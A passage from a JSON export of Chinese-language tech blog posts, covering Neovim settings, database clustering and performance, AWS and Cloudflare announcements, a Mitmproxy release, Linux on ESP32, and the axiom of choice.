    "body": "也是在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的：「<a href=\"https://github.com/romeovs/creep\">a pretty sweet 4px wide pixel font.</a>」，看 commit log 似乎很久了，字本身長這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/dQj8UBc.webp\" /><img src=\"https://i.gslin.com/imgur/dQj8UBc.png\" alt=\"\" /></picture>\r\n\r\n作者有提到可以用在解析度不夠的螢幕上，馬上想到的是「<a href=\"https://www.amazon.com/dp/B01HPV68UM/\">Waveshare 3.2 inch Raspberry Pi LCD 320X240 Resistive Touch Screen TFT Display SPI LCD for Raspberry Pi 3 Model B/3B+/2 B/B/A Raspbian IMG Provided</a>」這種東西：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Ao5ysk3.webp\" /><img src=\"https://i.gslin.com/imgur/Ao5ysk3.jpg\" alt=\"\" /></picture>\r\n\r\n另外用在小顆 LCD 單色顯示似乎也是個方法，不過看了一下是 5px：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/l8YBDMv.webp\" /><img src=\"https://i.gslin.com/imgur/l8YBDMv.jpg\" alt=\"\" /></picture>\r\n<small>出自「<a href=\"https://www.electronics-lab.com/project/real-time-clock-20x4-i2c-lcd-display/\">Real Time Clock On 20x4 I2C LCD Display with Arduino - Electronics-Lab.com</a>」。</small>\r\n\r\n先記起來...",
    "title": "4px 寬的字型"
  },
  {
    "id": "10235",
    "body": "在 <a href=\"https://neovim.io/\">Neovim</a> 時操作檔案名稱時會是下拉選單，在 insert mode 時的畫面是這樣 (進到 insert mode 後 Ctrl-X + F)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/kjaQy5b.webp\" /><img src=\"https://i.gslin.com/imgur/kjaQy5b.png\" alt=\"\" /></picture>\r\n\r\n這時候可以用上下鍵選擇檔案名稱。\r\n\r\n在 command mode 下也有類似的功能，像是 <code>:sp</code> 後按 tab 選擇檔案名稱：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/hQojPOp.webp\" /><img src=\"https://i.gslin.com/imgur/hQojPOp.png\" alt=\"\" /></picture>\r\n\r\n問題在於只能用 Ctrl-N 與 Ctrl-P 移動，而不能用上下鍵操作，兩者的 UI 類似但是操作的方式不一樣，於是就翻了翻 manual，找出對應的模式，得到是 command mode，然後用 &lt;expr&gt; + <a href=\"https://vimhelp.org/eval.txt.html#pumvisible%28%29\">pumvisible()</a> 判斷是否是在 popup menu，接著把上下鍵對應到 Ctrl-N 與 Ctrl-P：\r\n\r\n<pre>cnoremap &lt;expr&gt; &lt;Down&gt; pumvisible() ? \"\\&lt;C-n&gt;\" : \"\\&lt;Down&gt;\"\r\ncnoremap &lt;expr&gt; &lt;Up&gt; pumvisible() ? \"\\&lt;C-p&gt;\" : \"\\&lt;Up&gt;\"</pre>\r\n\r\n這樣就搞定了...",
    "title": "Neovim 在選擇檔案名稱時的操作按鍵"
  },
  {
    "id": "10237",
    "body": "翻了一下「<a href=\"https://netsplit.de/networks/Libera.Chat/\">IRC Network Libera.Chat</a>」與「<a href=\"https://netsplit.de/networks/freenode/\">IRC Network freenode</a>」：\r\n\r\n<blockquote>During last connections to Libera.Chat its servers reported an average of 40267 users and 19125 chat rooms. Use the following menu to get more information about IRC network Libera.Chat! Take a view to the generated statistics and search within the list of chat rooms for topics of your interest!</blockquote>\r\n\r\n<blockquote>During last connections to freenode its servers reported an average of 26145 users and 23410 chat rooms. Use the following menu to get more information about IRC network freenode! Take a view to the generated statistics and search within the list of chat rooms for topics of your interest!</blockquote>\r\n\r\n一陣子沒關注，發現已經甩開了...",
    "title": "在 netsplit 的統計上，Libera.Chat 已經超過 freenode 了"
  },
  {
    "id": "10238",
    "body": "在 <a href=\"https://www.percona.com/\">Percona</a> 的「<a href=\"https://www.percona.com/blog/how-to-recover-percona-xtradb-cluster-5-7-node-without-sst/\">How To Recover Percona XtraDB Cluster 5.7 Node Without SST</a>」這邊看到的技巧，不過只能用在 5.7 版，不能用在 8.0 版。我猜這個方法也可以用在其他跑 <a href=\"https://galeracluster.com/\">Galera Cluster</a> 的資料庫上...\r\n\r\n維護一組 <a href=\"https://www.percona.com/software/mysql-database/percona-xtradb-cluster\">Percona XtraDB Cluster</a> 時一個常見的問題是，當節點離線太久後有機會無法用 IST (Incremental State Transfer) 跟回來，也就是只要把先前還沒有同步的部份更新進資料庫的方法，這時候就會需要用 SST (State Snapshot Transfer)，變成抓整個 full copy。\r\n\r\n作者提出來的方法是基於 IST 的大小通常比較小，但 binlog 通常都留蠻久的，所以可以利用 binlog 來幫 IST。\r\n\r\n方法是先把 Galara Cluster 關掉，用 <a href=\"https://dev.mysql.com/\">MySQL</a> 傳統的 replication 同步到一定程度後，再把 IST 相關的位置設定指到已經同步的位置，接著再把 Galara Cluster 接上去就可以恢復了。\r\n\r\n這個方法是 5.7 版限定，因為 8.0 的年代沒辦法改 Galara Cluster 的 wsrep 位置資訊：\r\n\r\n<blockquote>Unfortunately, a similar solution does not work with Percona XtraDB Cluster 8.0.x, due to the modified way wsrep positions are kept in the storage engine, hence the trick with updating grastate.dat does not work as expected there.</blockquote>\r\n\r\n我覺得可能 Percona 之後會弄出 patch 讓使用者可以改...",
    "title": "Percona XtraDB Cluster (PXC) 節點離開太久後的惡搞法"
  },
  {
    "id": "10239",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 的「<a href=\"https://www.percona.com/blog/mysql-zfs-performance-update/\">MySQL/ZFS Performance Update</a>」這篇又對 <a href=\"https://en.wikipedia.org/wiki/ZFS\">ZFS</a> 做了一次測試，算是用比較新的軟體跑出來的結果，不過要注意這邊的 ZFS 版本仍然不是目前最新版：\r\n\r\n<blockquote>ZFS 0.8.6-1 is not bleeding edge, there have been more than 1700 commits since and after 0.8.6, the ZFS release number jumped to 2.0. The big addition included in the 2.0 release is native encryption.</blockquote>\r\n\r\n機器是在雲端上 (<a href=\"https://azure.microsoft.com/\">Azure</a> 上)，不熟悉 Azure 的機種，但看記憶體與 CPU 的量好像不是用頂規的機器：\r\n\r\n<blockquote>benchmark host\r\nStandard D2ds_v4 instance\r\n2 vCpu, 8GB of Ram and 75 GB of temporary storage\r\nDebian Buster\r\n\r\nDatabase host\r\nStandard E4-2ds-v4 instance\r\n2 vCpu, 32GB of Ram and 150GB of temporary storage\r\n256GB SSD Premium (SSD Premium LRS P15 – 1100 IOPS (3500 burst), 125 MB/s)\r\nDebian Buster\r\nPercona server 8.0.22-13</blockquote>\r\n\r\n跑出來的結果看起來不差：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/FXE4MHP.webp\" /><img src=\"https://i.gslin.com/imgur/FXE4MHP.png\" alt=\"\" /></picture>\r\n\r\n看了一下測試用的設定，似乎只測了 compression 的部份，沒測 snapshot 以及其他功能會對效能有什麼影響，但至少基本盤應該是還不錯？",
    "title": "MySQL 跑在 ZFS 與 ext4 的效能差異"
  },
  {
    "id": "10240",
    "body": "<a href=\"https://www.rabbitmq.com/\">RabbitMQ</a> 要在 3.9 版推出 Streams (目前 3.9 還在 RC)：「<a href=\"https://blog.rabbitmq.com/posts/2021/07/rabbitmq-streams-overview/\">RabbitMQ Streams Overview</a>」，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上有一些討論可以看：「<a href=\"https://news.ycombinator.com/item?id=27825889\">RabbitMQ Streams Overview (rabbitmq.com)</a>」。\r\n\r\n這樣 RabbitMQ 可以同時有 queue 與 stream 的能力，對於一些小專案應該會方便不少，算是打隔壁棚 <a href=\"https://kafka.apache.org/\">Kafka</a> 的痛點之一，弄一組 HA cluster 至少要三台 <a href=\"https://zookeeper.apache.org/\">ZooKeeper</a> 加上兩台 Broker，基礎建設還要有對應的 HA load balancer 機制，在 <a href=\"https://aws.amazon.com/\">AWS</a> 上可以拿 <a href=\"https://aws.amazon.com/elasticloadbalancing/\">ELB</a> 偷懶，如果是實體機房的話也許用 <a href=\"https://www.f5.com/\">F5</a> 擋，或是用 open source 的 <a href=\"https://www.keepalived.org/\">Keepalived</a> (或是老一點的 <a href=\"http://www.linux-ha.org/wiki/Heartbeat\">Heartbeat</a>) + <a href=\"https://nginx.org/\">nginx</a>。\r\n\r\n目前還不知道 scalability 的能耐，不過印象中在 queue 的單台 throughput 不差，如果沒有意外的話，streaming 的部份對小型專案應該夠用。",
    "title": "RabbitMQ 也進來搶 Streaming Engine 這塊市場了"
  },
  {
    "id": "10241",
    "body": "<a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 宣佈支援 <a href=\"https://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm\">ECDSA</a> 的 certificate：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2021/07/amazon-cloudfront-now-supports-ecdsa-certificates-for-https-connections-to-viewers/\">Amazon CloudFront now supports ECDSA certificates for HTTPS connections to viewers</a>」。\r\n\r\n用主要是讓 certificate 更小，讓 HTTPS 建立時的過程更快 (包括了傳輸的速度與計算的速度)：\r\n\r\n<blockquote>As a result, conducting TLS handshakes with ECDSA certificates requires less networking and computing resources making them a good option for IoT devices that have limited storage and processing capabilities.</blockquote>\r\n\r\n很久以前好像有看到資料說 256 bits 的 <a href=\"https://en.wikipedia.org/wiki/Elliptic-curve_cryptography\">EC</a> 運算量跟 768～1024 bits 的 <a href=\"https://en.wikipedia.org/wiki/RSA_(cryptosystem)\">RSA</a> 差不多，但一時間找不到資料...\r\n\r\n目前 CloudFront 只支援 NIST P-256 (secp256r1，或稱作 prime256v1)：\r\n\r\n<blockquote>Starting today, you can use Elliptic Curve Digital Signature Algorithm (ECDSA) P256 certificates to negotiate HTTPS connections between your viewers and Amazon CloudFront.</blockquote>\r\n\r\n但 NIST P-256 一直為人詬病，在「<a href=\"https://safecurves.cr.yp.to/\">SafeCurves: choosing safe curves for elliptic-curve cryptography</a>」這邊可以看到 <a href=\"https://www.nist.gov/\">NIST</a> 宣稱的效率設計實際上都不是真的：\r\n\r\n<blockquote>Subsequent research (and to some extent previous research) showed that essentially all of these efficiency-related decisions were suboptimal, that many of them actively damaged efficiency, and that some of them were bad for security.</blockquote>\r\n\r\n但目前標準是往 NIST P-256、NIST P-384 與 NIST P-521 靠攏 (主要是受到 <a href=\"https://cabforum.org/\">CA/Browser Forum</a> 的限制)，要其他 curve 的 certificate 也沒辦法生，目前可能還是繼續觀望...",
    "title": "CloudFront 宣佈支援 ECDSA 的 Certificate"
  },
  {
    "id": "10243",
    "body": "在 tab 上放了一陣子的連結，忘記是哪邊看到的，在講 Chromium 系列瀏覽器會針對 Google Search Engine 最佳化：「<a href=\"https://www.ctrl.blog/entry/chrome-google-dse-preconnect.html\">Google’s unfair performance advantage in Chrome</a>」。\r\n\r\n作者發現 Chromium 瀏覽器會預先開 HTTPS 連線連到搜尋引擎，這樣可以大幅降低建立 HTTPS 連線時所需要的時間，包括了 DNS 查詢、TCP handshake 與 TLS handshake：\r\n\r\n<blockquote>I was looking for something else when I stumbled upon a feature called <code>PreconnectToSearch</code>. When enabled, the feature preemptively opens and maintains a connection to the default search engine.</blockquote>\r\n\r\n問題在於這個功能只開給 Google Search 使用：\r\n\r\n<blockquote>There’s just one small catch: Chromium checks the default search engine setting, and only enables the feature when it’s set to Google Search.</blockquote>\r\n\r\n在 <a href=\"https://chromium.googlesource.com/chromium/src/+/HEAD/chrome/browser/navigation_predictor/search_engine_preconnector.cc\">search_engine_preconnector.cc</a> (HEAD 版本) 這邊可以看到這段程式碼：\r\n\r\n<pre>\r\n// Feature to limit experimentation to Google search only.\r\nconst base::Feature kPreconnectToSearchNonGoogle{\r\n    \"PreconnectToSearchNonGoogle\", base::FEATURE_DISABLED_BY_DEFAULT};\r\n}  // namespace features\r\n</pre>\r\n\r\n作者有提到，的確這個功能會對 search engine 有不小的衝擊，但可以透過擴充 <a href=\"https://developer.mozilla.org/en-US/docs/Web/OpenSearch\">OpenSearch Descriptions</a> 或是 <a href=\"https://www.iana.org/assignments/well-known-uris/well-known-uris.xhtml\">Well-Known URI</a> 的方式提供，現在這樣寫死在程式碼裡面完全就是不公平競爭。",
    "title": "Chromium 系列瀏覽器對 Google Search Engine 的不公平最佳化"
  },
  {
    "id": "10244",
    "body": "在 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 的環境裡透過 PPPoE 上拿 IPv6 address 不是什麼大問題，搜一下大概都可以找到，在 <code>/etc/ppp/options</code> 的最後面加上這串就可以了 (或是在 <code>/etc/ppp/peers/</code> 裡面的檔案對特定的設定加)：\r\n\r\n<pre>+ipv6 ipv6cp-use-ipaddr</pre>\r\n\r\n不過我遇到的問題是，<code>ppp0</code> 雖然拿到了 IPv6 address (從 <code>ip addr</code> 或是 <code>ifconfig</code> 可以看到)，但 <code>mtr -6 www.google.com</code> 確不通。\r\n\r\n找問題時發現 netstat -6rn 有兩筆 IPv6 default gateway，刪掉 <code>enp3s0</code> 的那筆馬上就通了，所以是跟 routing 有關的問題，在本地端收到了 default routing，優先權還比 <code>ppp0</code> 拿到的還高。\r\n\r\n因為這台主機是跑 <a href=\"https://netplan.io/\">Netplan</a>，所以就用 Netplan 的方式強制關掉本地端的 Router Advertisement (RA)：\r\n\r\n<pre>\r\nnetwork:\r\n    version: 2\r\n    renderer: networkd\r\n    ethernets:\r\n        enp3s0:\r\n            accept-ra: false\r\n</pre>\r\n\r\n最後重開機確認後就通了...",
    "title": "Ubuntu 環境 PPPoE 遇到拿的到 IPv6 address 但是卻不通的問題"
  },
  {
    "id": "10245",
    "body": "沒想到會在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 的首頁上看到這麼硬核的主題，<a href=\"https://zh.wikipedia.org/wiki/%E9%80%89%E6%8B%A9%E5%85%AC%E7%90%86\">選擇公理</a> (<a href=\"https://en.wikipedia.org/wiki/Axiom_of_choice\">Axiom of choice</a>，通常縮寫成 AC)：「<a href=\"https://jaydaigle.net/blog/what-is-the-axiom-of-choice/\">What is the Axiom of Choice?</a>」，對應的討論在「<a href=\"https://news.ycombinator.com/item?id=27836406\">What is the Axiom of Choice? (jaydaigle.net)</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/z1ACCG8.webp\" /><img src=\"https://i.gslin.com/imgur/z1ACCG8.png\" alt=\"\" /></picture>\r\n\r\n<small>出自「<a href=\"https://xkcd.com/982/\">xkcd: Set Theory</a>」</small>\r\n\r\n應該是大一教集合論的時候學到的，算是一個非常重要的公設，雖然的確有些數學系統是可以假定 AC 不成立，但用起來會不太好用，主要是因為「對於集合 [latex]S[/latex]，取出任意一個元素」這類用法太常出現，在沒有 AC 的情況下這件事情就不一定能操作了...\r\n\r\n我們目前常用的數學一般是建立在 Zermelo-Fraenkel Set Theory (ZF) 這個公理系統加上 AC，簡寫變成 ZFC。而 AC 在集合論常常會被拿出來說明，主要還是因為在歷史上花了不少力氣才證明 ZF 與 AC 的相對協調性 (ZF 與 AC 不衝突)，以及 ZF 與 AC 獨立性 (ZF 無法推導出 AC)。\r\n\r\n有了 AC 後就會再解釋<a href=\"https://zh.wikipedia.org/wiki/%E8%BF%9E%E7%BB%AD%E7%BB%9F%E5%81%87%E8%AE%BE\">連續統假設</a> (<a href=\"https://en.wikipedia.org/wiki/Continuum_hypothesis\">Continuum hypothesis</a>，簡稱 CH)，也就是 [latex]\\mathbb{N}[/latex] 與 [latex]2^{\\mathbb{N}}[/latex] 之間存不存在一個集合 [latex]S[/latex] 使得 [latex]|\\mathbb{N}| &lt; |S| &lt; |2^{\\mathbb{N}}|[/latex]。\r\n\r\n然後再打臉一次，說明 ZFC 與 CH 的協調性 (ZFC 與 CH 不衝突)，與獨立性 (ZFC 無法推導出 CH)。\r\n\r\n當時學的時候的確是很頭痛，不過現在回頭看倒是覺得很有趣：在數學上你可以證明「某個敘述無法被證明」，這點應該是以前沒想過的...",
    "title": "在 Hacker News 上看到選擇公理"
  },
  {
    "id": "10246",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到 <a href=\"https://mitmproxy.org/\">Mitmproxy</a> 7 的消息：「<a href=\"https://mitmproxy.org/posts/releases/mitmproxy7/\">Mitmproxy 7</a>」。\r\n\r\n比較重要的功能應該就是可以針對任意的 TLS 連線攔截分析了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/5JIevOp.webp\" /><img src=\"https://i.gslin.com/imgur/5JIevOp.png\" alt=\"\" /></picture>\r\n\r\n不過像是 <code>STARTTLS</code> 這類先在 plaintext 溝通，然後送出指令進入 TLS 的方式，目前就還沒支援：\r\n\r\n<blockquote>Opportunistic TLS (STARTTLS) is not supported yet, but regular TCP-over-TLS just works!</blockquote>\r\n\r\n另外是可以分析 <a href=\"https://en.wikipedia.org/wiki/WebSocket\">WebSocket</a> 內的傳輸資料：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/q60Gcpw.webp\" /><img src=\"https://i.gslin.com/imgur/q60Gcpw.png\" alt=\"\" /></picture>\r\n\r\n應該是跑個 <code>pip install -U mitmproxy</code> 就可以升級了... (如果先前是用 <a href=\"https://pypi.org/project/pip/\">pip</a> 安裝的話)",
    "title": "Mitmproxy 7 支援 TLS over TCP 的分析了"
  },
  {
    "id": "10247",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到在有中國的開發者在 <a href=\"https://en.wikipedia.org/wiki/ESP32\">ESP32</a> 上跑 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 作業系統：「<a href=\"https://www.cnx-software.com/2021/07/18/linux-5-0-esp32-processor/\">Linux 5.0 shown to boot on ESP32 processor</a>」，對應的討論在「<a href=\"https://news.ycombinator.com/item?id=27886168\">Linux 5.0 shown to boot on ESP32 processor (cnx-software.com)</a>」這邊可以看到。\r\n\r\n文章最後面有提到這不是第一次在 ESP32 上跑 Linux：\r\n\r\n<blockquote>Note it’s not the first time somebody runs Linux on ESP32, as last year the older Ubuntu 9.04 was demonstrated on ESP32.</blockquote>\r\n\r\n看起來應該是作者覺得很有趣，所以還是提出來... 機器是 8MB PSRAM 與 2MB SPI flash：\r\n\r\n<blockquote>ESP32 IoT processor supports up to 8MB PSRAM which makes it just enough to run a minimal version of Linux. There’s little practical application for it, but it may be fun to try, and one developer apparently managed to boot Linux 5.0.0 on a board with an ESP32 dual-core Xtensa processor connected to 8MB PSRAM and a 2MB SPI flash.</blockquote>\r\n\r\n如果以 8MB RAM 來推算的話，大概是 <a href=\"https://en.wikipedia.org/wiki/I386\">i386</a> (80386) 到 <a href=\"https://en.wikipedia.org/wiki/I486\">i486</a> (80486) 時代的電腦？不過 ESP32 的 CPU 時脈快不少 (雖然架構不同不太能直接比較)。",
    "title": "在 ESP32 跑 Linux 作業系統"
  },
  {
    "id": "10248",
    "body": "在「<a href=\"https://avi.im/blag/2021/fast-sqlite-inserts/\">Towards Inserting One Billion Rows in SQLite Under A Minute</a>」這邊看到作者想要在一分鐘內在 MBP 2019 上面寫 1B 筆資料進 <a href=\"https://sqlite.org/\">SQLite</a>，裡面有些方法還蠻值得玩一下的，這台 MBP 2019 機器的規格是：\r\n\r\n<blockquote>The machine I am using is MacBook Pro, 2019 (2.4 GHz Quad Core i5, 8GB, 256GB SSD, Big Sur 11.1)</blockquote>\r\n\r\n第一版是 <a href=\"https://www.python.org/\">Python</a> 寫的，塞 10M 筆花了 15 分鐘：\r\n\r\n<blockquote>In this script, I tried to insert 10M rows, one by one, in a for loop. This version took close to 15 minutes, sparked my curiosity and made me explore further to reduce the time.</blockquote>\r\n\r\n加了五個 <code>PRAGMA</code> 的版本變成 100M 筆十分鐘：\r\n\r\n<blockquote>The naive for loop version took about 10 minutes to insert 100M rows.</blockquote>\r\n\r\n用批次處理則可以降到八分半：\r\n\r\n<blockquote>The batched version took about 8.5 minutes to insert 100M rows.</blockquote>\r\n\r\n再來是拿經典神器 <a href=\"https://www.pypy.org/\">PyPy</a> 出來用，降到兩分半：\r\n\r\n<blockquote>All I had to do was run my existing code, without any change, using PyPy. It worked and the speed bump was phenomenal. The batched version took only 2.5 minutes to insert 100M rows. I got close to 3.5x speed :)</blockquote>\r\n\r\n接下來就是跳槽到 Rust 了，中間也有不少 tuning 相關的討論，但直接先跳到最後面好了... 最後 100M 只用了 33 秒：\r\n\r\n<blockquote>I created a threaded version, where I had one writer thread that received data from a channel and four other threads which pushed data to the channel. This is the current best version which took about 32.37 seconds.</blockquote>\r\n\r\n能用 PyPy 的地方還是可以考慮一下的...",
    "title": "快速產生 SQLite 資料的方式：一分鐘內產生十億筆資料"
  },
  {
    "id": "10249",
    "body": "看到「<a href=\"https://aws.amazon.com/about-aws/whats-new/2021/07/aws-announces-general-availability-amazon-ebs-block-express-volumes/\">AWS Announces General Availability of Amazon EBS io2 Block Express Volumes</a>」這篇，在 <a href=\"https://aws.amazon.com/ebs/\">EBS</a> 的 <code>io2</code> 上面又推出了新的花樣 Block Express Volumes：\r\n\r\n<blockquote>Today AWS announced general availability of io2 Block Express volumes that deliver up to 4x higher throughput, IOPS, and capacity than io2 volumes, and are designed to deliver sub-millisecond latency and 99.999% durability.</blockquote>\r\n\r\n要再提供更高的效能，在 <code>R5b</code> 的機種下，單個 volume 可以拉到 256k IOPS 與 4000MB/sec 的傳輸速度，以及在 well-tuned 的環境下 (應該是多個 volume) 可以拉到 260k IOPS (多一點點) 與 7500MB/sec (將近原來的兩倍) 的傳輸速度：\r\n\r\n<blockquote>Using R5b instances customers can now provision a single io2 volume with up to 256,000 IOPS, 4000 MB/s of throughput, and storage capacity of 64 TiB.</blockquote>\r\n\r\n<blockquote>R5b instances are well-suited to run business-critical and storage-intensive applications as they offer the highest EBS-optimized performance of up to 260,000 IOPS and 7,500 MB/s throughput.</blockquote>\r\n\r\n是個用錢炸效能的東西，用的到的就用...",
    "title": "AWS 宣佈 EBS io2 的新花樣 Block Express Volumes"
  },
  {
    "id": "10251",
    "body": "看到 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 在講他們打算在巴西佈 25 個點：「<a href=\"https://blog.cloudflare.com/expanding-to-25-plus-cities-in-brazil/\">Expanding Cloudflare to 25+ Cities in Brazil</a>」，目前可以看出來是八個點：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/qF20gqu.webp\" /><img src=\"https://i.gslin.com/imgur/qF20gqu.png\" alt=\"\" /></picture>\r\n\r\n比較了領土的大小，跟美國扣掉阿拉斯加差不多等級：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/JrvBCLg.webp\" /><img src=\"https://i.gslin.com/imgur/JrvBCLg.png\" alt=\"\" /></picture>\r\n\r\n人口的話美國是 328M 左右 (阿拉斯加不到 1M，不太影響感覺)，巴西 215M，依照 Cloudflare 在美國目前有 39 個 PoP 來說，的確是可以拉上去，不過看起來應該是因為有大的 ISP 合作的關係：\r\n\r\n<blockquote>Today, we are excited to announce an expansion we’ve been working on behind the scenes for the last two years: a 25+ city partnership with one of the largest ISPs in Brazil.</blockquote>\r\n\r\n不過沒提到是哪個 ISP，之後看看有沒有消息...",
    "title": "Cloudflare 在巴西的佈點"
  },
  {
    "id": "10252",
    "body": "<a href=\"https://engineering.fb.com/\">Facebook Engineering</a> 發了一篇將 <a href=\"https://dev.mysql.com/\">MySQL</a> 升級到 8.0 的說明：「<a href=\"https://engineering.fb.com/2021/07/22/data-infrastructure/mysql/\">Migrating Facebook to MySQL 8.0</a>」。\r\n\r\n先前的版本主要是 5.6，加上 <a href=\"https://myrocks.io/\">MyRocks</a>：\r\n\r\n<blockquote>Our last major version upgrade, to MySQL 5.6, took more than a year to roll out. When version 5.7 was released, we were still in the midst of developing our LSM-Tree storage engine, MyRocks, on version 5.6. Since upgrading to 5.7 while simultaneously building a new storage engine would have significantly slowed the progress on MyRocks, we opted to stay with 5.6 until MyRocks was complete. MySQL 8.0 was announced as we were finishing the rollout of MyRocks to our user database (UDB) service tier. </blockquote>\r\n\r\n在 <a href=\"https://github.com/\">GitHub</a> 上是有 <a href=\"https://github.com/facebook/mysql-8.0\">facebook/mysql-8.0</a>，但看起來從 2017 後就沒更新了，所以應該是沒有 open source 出來。\r\n\r\n看看就好 XD",
    "title": "Facebook 把自家的 MySQL 升級到 8.0"
  },
  {
    "id": "10253",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到「<a href=\"https://news.ycombinator.com/item?id=27917366\">The LaTeX Font Catalogue (tug.org)</a>」這個，提到 <a href=\"https://en.wikipedia.org/wiki/LaTeX\">LaTeX</a> 的字型：「<a href=\"https://tug.org/FontCatalogue/\">The LaTeX Font Catalogue &ndash; Front Page</a>」。\r\n\r\n在 Hacker News 上的討論有人提到 LaTeX 的字型印出來很好看，但電腦上看就還好 (不差)，這點我還蠻認同的，在螢幕上有其他更好看的字型可以用。\r\n\r\n就目前看過的書籍來說，TeX 預設的字型 (<a href=\"https://en.wikipedia.org/wiki/Computer_Modern\">Computer Modern</a> 系列) 印出來真的超漂亮的，像是 <a href=\"https://en.wikipedia.org/wiki/Donald_Knuth\">Knuth</a> 老大的 <a href=\"https://en.wikipedia.org/wiki/The_Art_of_Computer_Programming\">TAOCP</a>。\r\n\r\n話說 Knuth 老大的 TAOCP... (說好不提 261？)",
    "title": "LaTeX 的字型展示"
  },
  {
    "id": "10255",
    "body": "看到「<a href=\"https://aws.amazon.com/about-aws/whats-new/2021/07/amazon-virtual-private-cloud-vpc-customers-can-assign-ip-prefixes-ec2-instances/\">Amazon Virtual Private Cloud (VPC) customers can now assign IP prefixes to their EC2 instances</a>」這邊的消息，<a href=\"https://aws.amazon.com/vpc/\">VPC</a> 可以把整個網段配到某台 EC2 Instance 上了。\r\n\r\n之前也有其他方法可以做到類似的事情：\r\n\r\n<ul>\r\n\t<li>用 VPC 提供的 Routing Table 把網段指到某台 EC2 的機器上。</li>\r\n\t<li>把這台 EC2 機器的「Enable Source/Destination Check」關閉。</li>\r\n</ul>\r\n\r\n目前就是用這個方法搞定 VPN server 的：我們希望機器連上 VPN 後拿到 10.x.x.x 的 IP address，而且可以被 VPC 內直接存取，而不要被 NAT 掉。\r\n\r\n好像該開張票轉移過去...",
    "title": "Amazon VPC 允許直接把整個網段配到某台 EC2 Instance 上了"
  },
  {
    "id": "10258",
    "body": "在「<a href=\"https://blog.cloudflare.com/designing-edge-servers-with-arm-cpus/\">Designing Edge Servers with Arm CPUs to Deliver 57% More Performance Per Watt</a>」這邊 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 提到了他們在正式環境用 <a href=\"https://en.wikipedia.org/wiki/ARM_architecture\">ARM</a> 架構了：\r\n\r\n<blockquote>Our first Arm CPU was deployed in production earlier this month — July 2021.</blockquote>\r\n\r\n記得測了很多年，其中遇到測試到一半看起來還不錯，但原廠商決定不繼續做的，直到後來又有廠商投入，到現在總算是有比較成熟的產品可以用。\r\n\r\n隔壁棚 <a href=\"https://aws.amazon.com/\">AWS</a> 上的 ARM 伺服器用起來也是香到不行，還沒有用過的可以試看看，至少我這台 blog &amp; wiki 也都是跑在上面。\r\n\r\n另外文章裡有提到目前 x86 的效能，新一代的 <a href=\"https://www.amd.com/\">AMD</a> 大概只比前一代多了 39% 的每瓦效能，但如果是把 ARM 拿進來比的話會到 57%：\r\n\r\n<blockquote>Our most recently deployed generation of edge servers, Gen X, used AMD Rome CPUs. Compared with that, the newest Arm based CPUs process an incredible 57% more Internet requests per watt. While AMD has a sequel, Milan (and which Cloudflare will also be deploying), it doesn’t achieve the same degree of energy efficiency that the Arm processor does — managing only 39% more requests per watt than Rome CPUs in our existing fleet.</blockquote>\r\n\r\n開始推上 production 後應該會愈換愈快，而且代表 Cloudflare 也會開始針對 ARM 平台最佳化。",
    "title": "Cloudflare 開始在正式環境用 ARM server 了"
  },
  {
    "id": "10260",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈了歷史悠久的 <a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-classic-platform.html\">EC2-Classic</a> 的退役計畫：「<a href=\"https://aws.amazon.com/blogs/aws/ec2-classic-is-retiring-heres-how-to-prepare/\">EC2-Classic is Retiring – Here’s How to Prepare</a>」。\r\n\r\nEC2-Classic 是 <a href=\"https://aws.amazon.com/vpc/\">VPC</a> 出來之前的產物，後來出現 VPC 的設計讓整個網路架構更有彈性，而且後來的新機種也都出在 VPC 上，EC2-Classic 算是歷史產物。\r\n\r\n目前宣佈的幾個時間點，首先是 2013 年年底的帳號已經是 VPC-only，除非有另外開 support ticket 要求要有 EC2-Classic：\r\n\r\n<blockquote>All AWS accounts created after <strong>December 4, 2013</strong> are already VPC-only, unless EC2-Classic was enabled as a result of a support request.</blockquote>\r\n\r\n接下來是今年的十月底，如果 AWS 帳號沒有使用 EC2-Classic 就會自動關閉 EC2-Classic 的權限，另外也會停止販售 EC2-Classic 的 RI：\r\n\r\n<blockquote>On <strong>October 30, 2021</strong> we will disable EC2-Classic in Regions for AWS accounts that have no active EC2-Classic resources in the Region, as listed below. We will also stop selling 1-year and 3-year Reserved Instances for EC2-Classic.</blockquote>\r\n\r\n最後會希望在 2022 年八月中的時候全部轉移完：\r\n\r\n<blockquote>On August 15, 2022 we expect all migrations to be complete, with no remaining EC2-Classic resources present in any AWS account.</blockquote>\r\n\r\n看起來沒用完的 RI 會退錢？",
    "title": "AWS 宣佈 EC2-Classic 退役的計畫"
  },
  {
    "id": "10261",
